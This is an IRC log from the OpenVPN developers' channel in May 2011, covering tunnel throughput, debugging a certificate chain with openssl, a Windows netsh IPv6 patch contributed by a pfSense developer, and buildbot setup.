<@dazo> while with hardware tcp checksum calculations, it is 2.5-3 times better performance 02:33 <@dazo> according to perf (kernel profiling), the kernel spends quite some time in checksum functions with the tun adapter 02:34 <@dazo> which is a performance hit on connections > 1Gbit 02:34 <@jamesyonan> interesting. is there any way to take advantage of hardware TCP checksumming with a virtual device? 02:35 <@dazo> no, for virtual devices there are no hardware ... but most (all?) 10Gbit cards have hardware offloading features, which makes the NIC do that job 02:39 <@dazo> so what janjust found out was that a raw iperf connection (outside a tunnel) could perform up to ~7Gbit on a RT kernel with offloading enabled. With offloading disabled, it dropped to ~3.6Gbit on the same kernel .... and through a plain-text openvpn tunnel, the performance was ~3.3Gbit - no matter what the offloading was ..... on non-RT kernels, the raw speed jumped to ~8Gbit and via openvpn to 1.3Gbit 02:40 <@dazo> (the RT kernel tests was run on an untuned kernel, so it can perform a lot better) 03:21 -!- jamesyonan [~jamesyona@c-75-70-204-158.hsd1.co.comcast.net] has quit [Ping timeout: 246 seconds] 07:38 <@vpnHelper> RSS Update - tickets: #128: Connection errors <https://community.openvpn.net/openvpn/ticket/128> 11:09 -!- dazo is now known as dazo_afk 11:16 -!- andjl [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 11:16 -!- andjl is now known as andj 11:17 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 258 seconds] 11:37 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:38 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 12:38 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has quit [Changing host] 12:38 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:56 <@cron2> re 13:56 * cron2 is back from Amsterdam *yawn* 13:58 <+krzee> ooo 13:58 * krzee is jealous 15:00 <@cron2> one week of hard work 16:30 <+krzee> would be 1 week of hard smoking for me 17:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 18:19 < Dark-Fx> cron2: ... is your name Roger, or do you work with a Roger? 18:35 <+krzee> his name is gert 18:38 < Dark-Fx> ah. Weird. Because I know a roger that had been there for a week and just returned today. --- Day changed Sat May 07 2011 02:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:08 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 05:10 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 07:02 <@cron2> Dark-Fx: there have been about 500 people at the RIPE meeting :-) 07:39 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 11:50 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:32 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:00 <+krzie> [14:00] <krzie> interesting 13:00 <+krzie> [14:00] <krzie> the ONLY time keydir appears in the manual: 13:00 <+krzie> [14:00] <krzie> "Options that will be compared for compatibility include dev-type, link-mtu, tun-mtu, proto, tun-ipv6, ifconfig, comp-lzo, fragment, keydir, cipher, auth, keysize, secret, no-replay, no-iv, tls-auth, key-method, tls-server, and tls-client." 13:00 <+krzie> what *is* keydir? 16:19 <+krzee> http://openvpn.net/INSTALL-win32.html 16:19 <+krzee> still links to openvpn.se for openvpn gui for windows, lol 16:21 <+krzee> it looks live dev tun and dev-node would do it 16:22 <+krzee> Notes -- Windows and TAP device naming 16:23 <+krzee> oops those last 2 lines belonged in #openvpn 20:28 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:53 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 20:53 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 20:53 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:53 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sun May 08 2011 03:55 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 10:09 -!- Irssi: #openvpn-devel: Total of 16 nicks [5 ops, 0 halfops, 3 voices, 8 normal] 12:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:14 -!- andj is now known as andj_afk 23:51 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel --- Day changed Mon May 09 2011 00:06 -!- andj_afk is now known as andj 01:01 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 01:40 -!- dazo_afk is now known as dazo 02:20 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Quit: rebooten] 02:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:49 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:39 <@mattock> dazo: I'll check 2.2.0 download statistics now 04:48 <@dazo> mattock: cool! 04:51 <@mattock> roughly 8000 GET requests per day for openvpn-2.2.0-install.exe 04:51 <@dazo> 8.000 per day!? 04:51 <@mattock> in the same timeframe ~2500 GETs per day for 2.1.4 04:51 <@mattock> I'll check unique IPs 04:52 <@dazo> wow 04:53 <@mattock> yeah, sounds a lot 04:53 <@dazo> that means something like ~100.000 downloads so far ... 04:53 * dazo wonders where all those users are ... 04:54 <@dazo> not in IP addr space .... but mailing lists, forums, irc ... 04:54 <@dazo> I mean, we should be pretty much stalked by now :-P 04:55 <@mattock> 2000-3000 downloads from unique IPs every day 04:55 <@dazo> that's more reasonable 04:55 <@mattock> still a lot 04:56 <@dazo> yeah :) 04:56 * dazo heads for lunch 04:56 <@mattock> have fun! 06:35 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:01 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 08:45 <@dazo> mattock: can you please dig up the e-mail address of the LDAP 'simix' user? 10:26 <@cron2> someone around who understands this crypto ssl stuff? 10:27 <@cron2> one of my users can't connect to our OpenVPN servers, and the error message I have is: 10:28 <@cron2> unable to get local issuer certificate: /C=DE/ST=sp1/L=Munich/O=SpaceNet_AG/OU=users/CN=Michael_Meyer/emailAddress=mme@space.net/initials=mme 10:28 <@cron2> and I don't really understand where that would be coming from, or how to figure it out 10:28 <@dazo> sounds it's signed by a "wrong" CA 10:29 <@cron2> that's what google told me, but it's coming from the "corp CA", which is the same as for my cert - at least the "Issuer:" lines are the same 10:30 <@dazo> hmm ... 10:31 <@cron2> can I somehow see the key id used for signing? 10:31 <@dazo> I was thinking about that .... it probably is possible, but you need the whole X509 certificate to manage that, I believe 10:32 <@cron2> I have the certs (both mine and that of the colleague) here 10:32 <@dazo> openssl x509 -noout -text should give some info 10:33 <@cron2> mmmmh, that pretty much prints the same stuff that's in the file itself 10:34 <@cron2> one obvious difference is that there's X509v3 extentions in the non-working cert 10:36 <@dazo> X509v3 Key Usage: 10:36 <@dazo> Digital Signature, Key Encipherment, Data Encipherment 10:36 <@dazo> X509v3 Extended Key Usage: 10:36 <@dazo> TLS Web Client Authentication 10:36 <@dazo> Netscape Cert Type: 10:36 <@dazo> SSL Client, S/MIME 10:36 <@dazo> these ones are used on a cert created by xca ... and works in OpenVPN setups 10:37 <@cron2> I don't have a "Netscape Cert Type", but "Extended Key Usage" is the same 10:37 <@cron2> X509v3 Key Usage has no "Data Encipherment" here 10:37 <@cron2> does OpenVPN care? 10:38 <@dazo> that might be the trouble 10:39 <@cron2> it's not actually using that key for encryption 10:42 <@dazo> sometimes it does care ... but I'm confused about which fields it does care about an not ... and when it cares 10:43 * dazo need to run ... going for a concert 10:43 <@cron2> have fun :) 10:43 <@dazo> thx :) 10:47 -!- dazo is now known as dazo_afk 10:48 <@cron2> wtf 10:49 <@cron2> "openssl verify" disagrees on the "issueing" and the "using" machine on whether the cert is valid 10:50 <+krzee> date -u on both machines 10:51 <@cron2> date is fine 10:51 <+krzee> im guessing one is a VM for testing, and prolly doesnt have the right timezone or something 10:51 <+krzee> well if im wrong thats a very interesting problem 10:51 <@cron2> actually, it gets weirder and weirder... 10:52 <+krzee> very very weird, it MUST be something on your machine, but if not time/date i cant image what it is 10:53 <+krzee> imagine* 10:53 <@cron2> both FreeBSD 7.3, both using the system openssl (no ports), date is correct (no VM, ntp synched) 10:53 <+krzee> checked date -u on both just for the hell of it? 10:53 <@cron2> yes 10:53 <@cron2> Mo 9 Mai 2011 15:53:20 UTC 10:54 <@cron2> Mon May 9 15:53:23 UTC 2011 10:54 <@cron2> (a few secs ago) 10:54 <+krzee> hrmz 10:54 <+krzee> you got me man 10:54 <@cron2> I run: 10:54 <+krzee> i use fbsd 7.3 as well 10:54 <@cron2> openssl verify -CAfile ca_spc_bundle.pem mme_crt.pem 10:54 <@cron2> one one machine, it says 10:54 <@cron2> mme_crt.pem: OK 10:54 <@cron2> on the other one, it says: 10:54 <@cron2> error 20 at 0 depth lookup:unable to get local issuer certificate 10:54 <+krzee> although i use openssl from ports... but if you're using the same version of openssl that should be fine 10:54 <+krzee> ohh 10:55 <+krzee> md5 your CA file 10:55 <+krzee> on both sides 10:55 <+krzee> maybe it got corrupted in the xfer 10:55 <@cron2> I just scp'ed *.pem from the non-working machine into an empty directory on the working machine 10:55 <@cron2> still works 10:56 <+krzee> and their signatures match? (i know your test should be fine for testing that too) 10:56 <@cron2> md5 is same 10:57 <+krzee> for the hell of it install openssl from ports on the broken machine...? (im at a loss here, grasping at straws) 10:57 <@cron2> actually, I have two broken machines - both my openvpn servers that are working nicely, just don't like *this* certificate 10:58 <+krzee> so it verified on your CA machine but on niether server? 10:58 <+krzee> neither* 10:58 <@cron2> yes 10:59 <@cron2> the other openvpn server is freebsd 6.4, different everything 11:00 <@cron2> strange enough, *my* cert - which was working nicely with OpenVPN about a week ago - also fails "openvpn -verify", so I'm not sure whether that's a red herring or not 11:12 <+krzee> you got me man 11:12 <@cron2> mmmh, ok, part of the mystery solved - openssl is a bitch 11:12 <+krzee> ??? 11:12 <@cron2> "CA host" has $lots of certs in /etc/ssl/certs/, while "verify host" doesn't 11:12 <@cron2> so that explains why openssl is behaving differently 11:13 <+krzee> if it does, you understand something i dont 11:13 <+krzee> hehe 11:14 <@cron2> well, it seems to load the trusted certificates from there 11:14 <+krzee> i would expect it to only use the 2 files you specified 11:14 <@cron2> that would be far too trivial 11:14 <+krzee> ;] 11:14 <@cron2> if I actually tell it "openvpn -CApath /tmp/empty" to ignore that file, verification also fails on the "CA host" 11:15 <@cron2> which is great, now I have two certs that fail verification everywhere - but one of them actually *works* for OpenVPN, and the other one doesn't 11:19 <@cron2> this is not enlightening me very much... 11:19 * cron2 grumbles and drives home "hungry wife and daughter there" 11:21 <+krzee> so openvpn accepts one but openssl verify does not!? 11:21 <+krzee> ok thats even weirder man 11:21 <+krzee> one would think those 2 things would HAVE TO be the same 11:56 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:29 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:32 <@cron2> this is all very weird... my ca.crt bundle has one intermediate cert missing - if I add that, "openssl verify" is happy on all 3 machines 12:33 <@cron2> I have now added the "full" CA bundle (root + intermediate) to openvpn conf, and now I need to wait for colleague to try again... 12:33 <@cron2> ... my key still works... 12:35 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 12:35 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has quit [Changing host] 12:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 13:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:08 -!- dazo_afk is now known as dazo 14:49 -!- psha [~psha@213.208.162.69] has quit [Read error: Operation timed out] 15:21 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:24 -!- dazo is now known as dazo_afk 15:35 <@cron2> ok, with the "full depth" CA bundle, the new key works now - but I can't (for the hell of it) figure out how to make "openssl verify" accept only my key, and not his, as OpenVPN was doing it... 15:44 <@cron2> VERIFY lines look exactly the same... 16:00 -!- andj is now known as andj_afk 18:39 <+ecrist> boats and hos 23:08 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:59 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Tue May 10 2011 00:16 -!- andj_afk is now known as andj 00:50 -!- andj is now known as andj_afk 02:22 -!- databeestje [~seth@edgec9f.coltex.nl] has joined #openvpn-devel 02:22 < databeestje> Goodmorning 02:45 <@mattock> good morning! 02:45 < databeestje> Morning 03:37 -!- dazo_afk is now known as dazo 03:38 <@dazo> mattock: Have you seen this one? 03:38 <@dazo> <dazo> [09-05 15:45:24] mattock: can you please dig up the e-mail address of the LDAP 'simix' user? 03:39 <@mattock> yep, I was waiting for you to come online :) 03:39 <@dazo> ahh :) 03:39 <@mattock> I'll forward one patch to you from pfsense guys, too 03:40 <@dazo> cool! 03:45 <@mattock> sent 03:50 < databeestje> *pfsense guy waves* 03:51 < databeestje> Seth Mos here 03:52 <@dazo> hey! Patch looks good ... but I have no idea of the implications, as it changes the netsh command 03:52 * dazo is not a Windows guy 03:53 <@dazo> I think cron2 might know something ... as he implemented the IPv6 support in the tun driver .... 03:53 <@dazo> cron2: /* example: netsh interface ipv6 set address MyTap 2001:608:8003::d store=active */ 03:54 <@dazo> what do you think of that syntax? esp. the store=active part 03:56 < databeestje> dazo, the current add address method fails upon reconnect because the address already exists 03:56 < databeestje> using set address there is no issue with running it multiple times 03:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:57 < databeestje> With the add address method it will also survive a reboot, which means that windows thinks it has IPv6 connectivity 03:57 <@dazo> ahh 03:57 <@dazo> I see, I didn't spot the add->set change in addition 03:58 <@dazo> so set + store=active means temporarily? 03:58 < databeestje> I've ran the netsh commands manually on a windows 7 laptop here and it correctly saves. 03:58 < databeestje> I need to verify that the store=active also works on XP 03:59 < databeestje> store=active is temporary 03:59 < databeestje> That means that when the tun goes down the address is removed 03:59 < databeestje> yeah 03:59 <@dazo> okay ... well, that makes sense 03:59 < databeestje> I discussed with Gert that we might need a osversion if statement 04:00 < databeestje> I'll see if I can find the XP and Vista netsh reference 04:00 <@dazo> http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/netsh_int_ip.mspx?mfr=true 04:00 <@vpnHelper> Title: Microsoft Windows XP - Netsh commands for Interface IP (at www.microsoft.com) 04:01 <@dazo> Seems that 'store' is not supported in XP 04:01 <@dazo> (that makes this a bit more interesting :)) 04:02 < databeestje> We could also deprecate XP ;-) 04:02 < databeestje> not that would work here, since we still have loads of laptops 04:03 < databeestje> http://technet.microsoft.com/en-us/library/cc740203%28WS.10%29.aspx#BKMK_20 04:03 <@vpnHelper> Title: Netsh commands for Interface IPv6: IPv6; Scripting (at technet.microsoft.com) 04:03 <@dazo> We're not supporting Windows2000 and older ... but, except that ... :) 04:03 < databeestje> atleast w2k3 has this argument for IPv6 specifically 04:03 <@dazo> yeah, the servers have it 04:04 < databeestje> Updated: January 21, 2005 04:06 <@dazo> http://technet.microsoft.com/en-us/library/bb490943.aspx (another WinXP doc on netsh) 04:06 <@vpnHelper> Title: Netsh commands for Interface IP (at technet.microsoft.com) 04:06 < databeestje> http://technet.microsoft.com/en-us/library/bb726950.aspx 04:07 <@vpnHelper> Title: Migrating IPv6.exe Commands to Netsh Command (at technet.microsoft.com) 04:07 < databeestje> Let me find a windows xp box real quick 04:09 <@dazo> if store=active doesn't make WinXP complain, I'm fine with the patch ... but if WinXP doesn't support it, then we need to identify windows version (at runtime) to decide to include 'store=active' or not 04:09 <@dazo> I think now it would be good if we could get a complete patch (with commit message) sent to the mailing list ... it's getting a bit too risky just to "throw it in" quickly 04:11 < databeestje> I'm trying that here now 04:12 < databeestje> windows XP says "Ok" 04:12 < databeestje> with the store=active argument 04:12 <@dazo> good! 04:12 < databeestje> We've got plenty of PC's here 04:12 < databeestje> Acutally, it's a cash register. But I digress 04:13 <@dazo> databeestje: please send a complete patch to the mailing list ... and put Gert Doering <gert@greenie.muc.de> on Cc (that's cron2) 04:13 <@dazo> complete patch = git commit + git format-patch 04:13 <@dazo> git commit -s, to be exact 04:13 < databeestje> hah, it's even windows XP service pack 2 04:13 < databeestje> http://iserv.nl/files/pfsense/patch-tun.c 04:13 < databeestje> Like so? 04:14 <@dazo> that's just a diff 04:14 <@dazo> I don't want to write commit messages for others ;-) 04:14 < databeestje> ah 04:14 < databeestje> eh.. I need to figure out how. We use git for pfSense ofcourse. But no idea on openvpn. No commit bit either 04:15 <@dazo> ahh, in git all commits are local ... so just do: git add tun.c 04:15 <@dazo> git commit -s 04:15 < databeestje> hold on 04:15 <@dazo> and then to create a complete patch ... git format-patch HEAD~1 04:15 <@dazo> (to make a patch out of the last commit only) 04:16 <@dazo> https://community.openvpn.net/openvpn/wiki/GitCrashCourse (for a quick intro) 04:16 <@vpnHelper> Title: GitCrashCourse – OpenVPN Community (at community.openvpn.net) 04:18 <@cron2> databeestje: hey, welcome. 04:18 * cron2 agrees with dazo - "do what works on XP and 7" :) 04:19 <@cron2> dazo, databeestje: I can do the git commit stuff for IPv6-payload-related patches. So "sending the patch to the list and to me" is fine 04:20 * cron2 just didn't have any time to do any sort of windows testing 04:20 < databeestje> http://iserv.nl/files/pfsense/0001-Change-the-netsh.exe-command-from-add-to-set-.-Th.patch 04:21 <@dazo> databeestje: looks fine enough for me :) 04:21 <@cron2> if it works on Windows XP - perfect! thanks a lot! 04:22 <@cron2> anyway, need to run (paying customer is waiting for me to show up... helps feed the kid :) ... but will read the list, of course) 04:22 <@dazo> cron2 and I can fight about who will do the ACK when it hits the list ... I'll probably wait until the meeting on Thursday, just in case I'm overlooking something 04:22 <@dazo> cron2: have fun! 04:23 <@cron2> dazo: yeah, that one should get some more review from folks that know windows (janjust comes to mind :) ) 04:23 <@dazo> agreed 04:24 < databeestje> Not to be an ass here. But the current syntax fails 04:24 < databeestje> It sets the address hard, survives a reboot and you can never reconnect because the address already exists 04:24 <@cron2> databeestje: it *should* remove the address on disconnect, tho, but that might not actually work properly in all cases 04:25 <@cron2> so I'm fully in agreement with you that the other one is better 04:25 < databeestje> It does not remove the address on disconnect 04:25 < databeestje> It persists on the tun adapter across reboots 04:25 <@cron2> oh. I thought i had code there to remove the address after disconnect 04:25 < databeestje> Manually removing the address means I can connect once again. 04:25 <@dazo> yeah, we get that ... it's just that I'm not a Windows user and haven't been that since 2000 ... so getting it confirmed by people with the right knowledge is a good way to go here 04:25 < databeestje> Didn't find any in the source 04:25 <@cron2> anyway, we're not disagreeing that this needs fixing 04:26 <@dazo> exactly 04:26 < databeestje> We'd love to have a windows installer with that patch which we can ship with the client exporter in pfSense 04:26 <@cron2> oh 04:26 <@cron2> /* netsh interface ipv6 delete address \"%s\" %s */ 04:26 <@cron2> msg( M_WARN, "TODO: remove IPv6 address %s", ifconfig_ipv6_local ); 04:27 <@cron2> *blush* :) 04:27 <@dazo> heh :) 04:27 < databeestje> Because then we have a fully IPv6 capable IPv6 server 04:27 * cron2 only tested that on Windows XP, and it seems to be non-persistant there 04:27 <@dazo> store=persistent as default according to the Win7 docs I saw, so that might be a change in Windows 04:28 < databeestje> So I need a subscription for the devel mailing list? 04:28 <@cron2> anyway: I'll integrate it, and mattock will build an installer for us :-) - it's just that there is Heise IPv6 conference this week, and I need to finish my talk for that conference *first*. On the weekend, I have time for housekeeping (cleanup OpenVPN patch queue, send out invoices to customers, ...) 04:29 <@cron2> databeestje: feel free to poke me every now and then if you don't see anything happen - you've seen the easter weekend how it works :) 04:29 <@cron2> anyway, off to customer now 04:29 < databeestje> Good luck 04:30 <@dazo> databeestje: yeah, you do 04:30 < databeestje> bugger, another mailing list 04:30 <@dazo> databeestje: not sure, but it might be you can post via the GMane NNTP service 04:31 < databeestje> Subscribing now 04:33 <@dazo> (it's a rather low traffic list ... so it's not that you're getting swamped with lots of useless stuff .... unless you sign up for openvpn-users ;-)) 04:36 < databeestje> hear hear 04:36 < databeestje> ~pfsense-support 04:38 < databeestje> This is what I've been working on since december last year http://iserv.nl/files/pfsense/ipv6/ 04:38 <@vpnHelper> Title: Setting up a IPv6 tunnel for Hurricane Electric or Sixxs with a static IP with pfSense 2.0 (at iserv.nl) 04:40 <@dazo> neat! 04:41 < databeestje> I am currently working on getting dhcp-pd working for the WAN. Which is what practically 90% of the customers will use on their cable or Dsl 04:58 < databeestje> still waiting for the subscribew 05:03 < databeestje> lunch 05:13 <@cron2> whoa, DHCP-PD, cool. (I'd actually raise that number to 99% for residential-type access) 05:56 < databeestje> I found a FreeBSD patch from Bjoern Zeeb that allows router advertisements on the WAN 05:56 < databeestje> otherwise FreeBSD just doesn't work with forwarding enabled 06:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 06:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:22 < databeestje> Hi there 06:28 <@vpnHelper> RSS Update - testtrac: Fix issues with some older GCC compilers <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=aa52ca828fc075e010c326e91d2171484a514fde> 06:37 <@mattock> dazo: updated GitCrashCourse page: https://community.openvpn.net/openvpn/wiki/GitCrashCourse 06:37 <@vpnHelper> Title: GitCrashCourse – OpenVPN Community (at community.openvpn.net) 06:37 <@mattock> also reorganized it a bit and added a TOC 06:37 <@dazo> mattock: nice! I'll have a closer look soonish :) 06:37 <@mattock> take your time :) 07:01 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 07:01 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 07:01 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:01 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:13 < databeestje> Hmm, still no confirmation email for the developer list 07:16 <+janjust> hi databeestje what kind of confirmation are you waiting/looking for? 07:18 < databeestje> I tried to subscribe to the developers mailing list 07:18 <+janjust> ah OK, somebody needs to approve it, don't know who that is, but that might take some time 07:18 < databeestje> grrrr 07:19 < databeestje> I was asked to send the patch to the mailinglist, but that will take a bit longer then 07:20 < databeestje> I've sent it to Gert for the mean time 07:20 <+janjust> hehe AFAIK the list is maintained by a couple of people in the Us, so perhaps it takes some time for them to respond 07:20 < databeestje> Still early morning there 07:20 <+janjust> ah OK; BTW I'd suspect mattock has the appropriate rights to confirm your subscription 07:22 <+janjust> what kind of patch is it, databeestje ? 07:23 < databeestje> for tun.c 07:23 < databeestje> netsh commands 07:23 < databeestje> Goedenmiddag trouwens 07:23 < databeestje> http://iserv.nl/files/pfsense/0001-Change-the-netsh.exe-command-from-add-to-set-.-Th.patch 07:23 <+janjust> hehe idd goedemiddag ; right, if you want you can also send the patch to me 07:24 <+janjust> aaah I see.... 07:26 <+janjust> can I just attach the patch to an email and send it? should I add your name (other then 'databeestje' ) ? 07:28 <+janjust> ping mattock 07:28 <@mattock> janjust: hi! 07:28 <+janjust> hi mattock ; quick question: do you have moderator/approval rights on the openvpn-devel list? 07:29 <@mattock> yep, I'll check what's up 07:29 <+janjust> Ok 07:29 <+janjust> thx 07:30 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 07:32 <@mattock> databeestje: did you use the same email you did when you sent email to me? 07:33 <@mattock> can't find any pending moderator requests or your email in subscriber list (for openvpn-devel) 07:33 <@mattock> maybe the mail went to /dev/null? 07:56 < databeestje> Hmm 07:56 < databeestje> Let me check 07:58 < databeestje> Submitted again, Seth Mos, seth.mos@dds.nl 07:59 < databeestje> Now it works 08:00 < databeestje> Message sent 08:05 <@mattock> excellent! 08:07 < databeestje> must have been driver error 08:22 <@dazo> thx! 08:23 < databeestje> wahey, I finally got the my dhcp-pd working just now 08:23 <@cron2> congrats 08:23 < databeestje> Only took 2 weeks, sheesh 08:24 < databeestje> dhcpv6 is kind of opaque 08:25 < databeestje> But I must say that it makes for a great tool, since it can now be used on any interface with a link local address 08:48 -!- dazo is now known as dazo_afk 08:56 -!- dazo_afk is now known as dazo 09:40 -!- andj_afk is now known as andj 09:49 -!- databeestje [~seth@edgec9f.coltex.nl] has quit [Quit: Connection ran over by deer] 10:54 <@dazo> cron2: let me know if you or I pull in the ipv6 netsh patch ... if you want to do it, I'll show you some tricks with 'git am' 10:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:38 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 12:31 -!- dazo is now known as dazo_afk 13:09 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:42 * ecrist is in hotel, in ottawa 15:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:47 <@cron2> dazo: I want to do that :) 15:55 <@cron2> but not before the weekend 16:06 -!- andj is now known as andj_afk 17:05 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: No route to host] 17:05 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed May 11 2011 00:42 -!- andj_afk is now known as andj 00:53 -!- andj is now known as andj_afk 00:53 -!- andj_afk is now known as andj 00:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:00 -!- andj is now known as andj_afk 01:51 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:20 -!- dazo_afk is now known as dazo 02:22 <@dazo> cron2: That's fine ... Not sure how my weekend will be, I'm travelling to Oslo tomorrow and will stay there for some weeks again ... but next week got for sure time :) 02:54 <@mattock> cron2: I'm setting up separate certs for all buildslaves now 02:55 <@mattock> I generated a new CA and scrapped the example keys 05:10 <@cron2> mattock: ah, great. That will not automatically fix t_client testing, but it's one important step 06:01 <@mattock> there's tons of cleaning up I got to do for buildbot 06:01 <@mattock> this being part of it 09:58 <@mattock> with all combinations of no build flags and the four major ones (--disable-ssl etc) plus four buildslaves we get 64 builds out of one tracked branch 09:58 <@dazo> that's decent :) 09:59 <@mattock> I probably got the dynamically configured builds working tomorrow 09:59 <@mattock> will get 09:59 <@dazo> mattock: which branches do you track now? 10:00 <@mattock> just "master" 10:00 <@dazo> okay, that's fair enough now 10:00 <@mattock> there's support for defining any number of Git repos and branches, but of course that causes number of builds to multiply 10:00 <@dazo> yeah 10:00 <@mattock> if we can find ways to reduce the build flag combinations I'm glad to implement them :) 10:01 <@mattock> e.g. does it make sense to test every (unique) combination of the buildflags 10:01 <@dazo> nah, I don't mind that we have a big variety ... that really helps checking compile combinations which we might not have thought of .... and which might trigger some issues 10:02 <@dazo> it takes a bit longer do to a complete build ... but we're only doing builds per push I do 10:03 <@mattock> I don't mind variety, either, but the time my server is unresponsive :D 10:03 <@mattock> I can cope with a few hours every few days 10:04 <@dazo> ahh :) 10:05 <@mattock> although when I got some time, I'll setup FreeBSD and Scientific Linux buildslaves which are not on my server 10:07 <@dazo> sound good! 10:08 <@dazo> gah ... I've been fighting with eurephia building on OpenBSD .... gee, that's a weird distro 10:08 * dazo is considering to only support FreeBSD 10:11 <@mattock> Theo at the head... no wonder it's weird :) 10:12 <@mattock> I hear he's an interesting person 10:15 <@dazo> I've been chasing a heisenbug for some days ... whenever I change something, I get another failure ... so I'm wondering if I'm tickling something in the gcc or libc ... especially odd since this is not an issue on any other platform 10:16 <@dazo> it's about some pointers which suddenly is double freed ... even thought the pointer is allocated one place only, and freed just before exiting the function 10:34 -!- dazo is now known as dazo_afk 11:03 -!- andj_afk is now known as andj 11:52 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 20:15 -!- andj is now known as andj_afk 20:20 -!- andj_afk is now known as andj 20:51 -!- andj is now known as andj_afk --- Day changed Thu May 12 2011 00:27 -!- andj_afk is now known as andj 00:47 -!- andj is now known as andj_afk 00:47 -!- andj_afk is now known as andj 00:48 -!- andj is now known as andj_afk 00:57 <+krzie> http://article.gmane.org/gmane.network.openvpn.devel/1983 00:57 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 00:58 <+krzie> what ever happened to that? (this guy coded icmp transport for ovpn) 01:41 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- 